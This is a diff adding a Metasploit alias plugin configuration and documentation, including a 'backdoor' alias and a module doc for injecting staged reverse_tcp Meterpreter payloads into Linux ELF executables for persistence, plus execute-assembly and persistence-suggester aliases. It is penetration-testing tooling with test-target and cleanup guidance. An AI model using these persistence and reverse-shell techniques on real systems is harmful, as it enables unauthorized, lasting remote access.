Meterpreter Aliases Plugin

data/meterpreter_aliases.yml

@@ -0,0 +1,49 @@
+version: 1
+aliases:
+  backdoor:
+    description: Inject a staged Meterpreter payload into a Linux ELF
+    platforms:
+      - linux
+    module: exploit/linux/persistence/elf
+    positional:
+      - option: ELF_PATH
+        required: true
+    defaults:
+      PrependExecOnce: false
+    switches:
+      "-x":
+        description: Run the injected payload once per boot
+        options:
+          PrependExecOnce: true
+          PayloadLinuxMinKernel: "3.17"
+    architecture_options:
+      source: sysinfo
+      values:
+        x64:
+          TARGET: 0
+          PAYLOAD: linux/x64/meterpreter/reverse_tcp
+        x86:
+          TARGET: 1
+          PAYLOAD: linux/x86/meterpreter/reverse_tcp
+        aarch64:
+          TARGET: 2
+          PAYLOAD: linux/aarch64/meterpreter/reverse_tcp
+
+  execute-assembly:
+    description: Execute a .NET assembly in memory
+    platforms:
+      - windows
+    module: post/windows/manage/execute_dotnet_assembly
+    positional:
+      - option: DOTNET_EXE
+        required: true
+      - option: ARGUMENTS
+        required: false
+
+  enum_persistence:
+    description: Suggest persistence modules for the current session
+    platforms:
+      - linux
+      - osx
+      - windows
+    module: post/multi/recon/persistence_suggester

documentation/general/meterpreter_aliases.md

@@ -0,0 +1,95 @@
+# Meterpreter YAML Aliases
+
+The `meterpreter_aliases` plugin adds client-side commands to Meterpreter consoles from a versioned YAML configuration. Each alias invokes a post module or local exploit with structured options; it does not execute Ruby or expand an arbitrary shell command.
+
+## Loading
+
+Load the bundled aliases:
+
+```text
+msf > load meterpreter_aliases
+```
+
+Load a custom alias file instead:
+
+```text
+msf > load meterpreter_aliases Config=/absolute/path/to/aliases.yml
+```
+
+The plugin attaches aliases to existing Meterpreter sessions and sessions opened after the plugin is loaded. Use `meterpreter_aliases` in the framework console or `aliases` in a Meterpreter console to list configured commands. Use `meterpreter_aliases_reload` or `aliases_reload` after editing the active YAML file.
+
+A reload is atomic. Invalid YAML or an unavailable module leaves the previous configuration active.
+
+## Configuration
+
+The top-level schema has a version and an alias map:
+
+```yaml
+version: 1
+aliases:
+  example:
+    description: Run an example module
+    platforms: [linux]
+    module: post/linux/gather/enum_system
+    positional:
+      - option: TARGET_PATH
+        required: true
+    defaults:
+      VERBOSE: false
+    switches:
+      "-x":
+        description: Enable an optional behavior
+        options:
+          EXECUTE: true
+```
+
+Alias names must contain lowercase letters, numbers, dashes, and underscores and must begin with a letter. `aliases` and `aliases_reload` are reserved. Modules must exist and must be post modules or local exploits. Positional arguments are applied in order to the named module options. Required positional arguments must precede optional ones.
+
+Each configured switch sets one or more module options. Switches are single-letter flags such as `-x`; `-h` is supplied automatically. Option values must be strings, integers, booleans, or null.
+
+## Architecture Options
+
+An alias can derive module options from the operating-system architecture returned by embedded Linux `stdapi`:
+
+```yaml
+architecture_options:
+  source: sysinfo
+  values:
+    x64:
+      TARGET: 0
+      PAYLOAD: linux/x64/meterpreter/reverse_tcp
+    aarch64:
+      TARGET: 2
+      PAYLOAD: linux/aarch64/meterpreter/reverse_tcp
+```
+
+Defaults are applied first, followed by architecture options, selected switch options, and positional values. Later values override earlier values. Handler options such as `LHOST` are inherited from the exploit that opened the current session.
+
+## Bundled Backdoor Alias
+
+The bundled configuration provides:
+
+```text
+meterpreter > backdoor <remote ELF path>
+meterpreter > backdoor <remote ELF path> -x
+```
+
+The alias selects the Linux x86, x64, or AArch64 staged Meterpreter payload from `sysinfo`. `-x` enables `PrependExecOnce` and the required Linux kernel compatibility setting.
+
+## Bundled Execute-Assembly Alias
+
+On Windows Meterpreter sessions, the bundled configuration provides:
+
+```text
+meterpreter > execute-assembly <local assembly path> ["assembly arguments"]
+```
+
+The alias invokes `post/windows/manage/execute_dotnet_assembly`. The assembly path is local to Metasploit. Pass command-line arguments as one quoted value when the assembly requires them.
+
+## Bundled Persistence Suggester Alias
+
+The bundled `enum_persistence` alias invokes `post/multi/recon/persistence_suggester` for the current Linux, Windows, or macOS Meterpreter session:
+
+```text
+meterpreter > enum_persistence
+```

documentation/modules/exploit/linux/persistence/elf.md

@@ -0,0 +1,75 @@
+## Vulnerable Application
+
+This module targets writable Linux ELF executables. It supports little-endian
+x86, x64, and AArch64 ET_EXEC and ET_DYN files. It first tries to place the
+trampoline and payload in zero-filled padding after an executable PT_LOAD
+segment. If that is unsuitable, a PT_NULL or non-GNU-property PT_NOTE program
+header is reused for an added executable segment.
+
+Use a disposable copy of a standard executable when setting up a test target:
+
+```sh
+cp /bin/true /tmp/persistent-true
+chmod u+w /tmp/persistent-true
+```
+
+The module changes the executable PT_LOAD size or a reusable program header and
+the entry point, so signed or integrity-monitored executables are unsuitable
+targets.
+
+## Verification Steps
+
+1. Start a Linux meterpreter or shell session.
+1. Copy a compatible ELF to a writable location on the target.
+1. Start msfconsole.
+1. Do: `use exploit/linux/persistence/elf`
+1. Do: `set SESSION <session id>`
+1. Do: `set ELF_PATH /tmp/persistent-true`
+1. Select the target and payload matching the ELF architecture.
+1. Set the payload options, including `LHOST` and `LPORT` for a reverse payload.
+1. Do: `run`
+1. Launch `/tmp/persistent-true` on the target.
+1. The payload should connect while the original executable exits normally.
+
+## Options
+
+### ELF_PATH
+
+Absolute path of one existing ELF executable to modify. The file must be
+readable, writable, executable, and compatible with the selected target.
+
+### DisablePayloadHandler
+
+Set this advanced option to `true` to install the persistence without starting
+or waiting on a handler.
+
+### PrependExecOnce
+
+Set this payload advanced option to `true` to atomically create a randomized
+marker under `/dev/shm` and run the payload only when marker creation succeeds.
+The marker is normally cleared at reboot. `/dev/shm` must be writable by the
+account that launches the modified ELF.
+
+### CleanUpRc
+
+When enabled on a Meterpreter session, the module writes a cleanup resource
+file that restores the original ELF from the loot backup. Shell sessions still
+create the loot backup but do not create the resource file.
+
+## Targets
+
+Select `Linux x64`, `Linux x86`, or `Linux AArch64` to match the ELF file. The
+selected Metasploit payload must have the same native architecture.
+
+## Limitations
+
+The payload is only triggered when the modified ELF is executed. The module
+does not support shared objects without an entry point or big-endian ELFs. An
+ELF without enough executable segment padding needs a reusable PT_NULL or
+PT_NOTE program header. Code-cave injection preserves file size; segment
+injection can increase it. Both techniques change contents, the entry point,
+program headers, and integrity hashes while preserving the original file mode.
+
+## Scenarios
+
+Manual verification output must be supplied by the module contributor.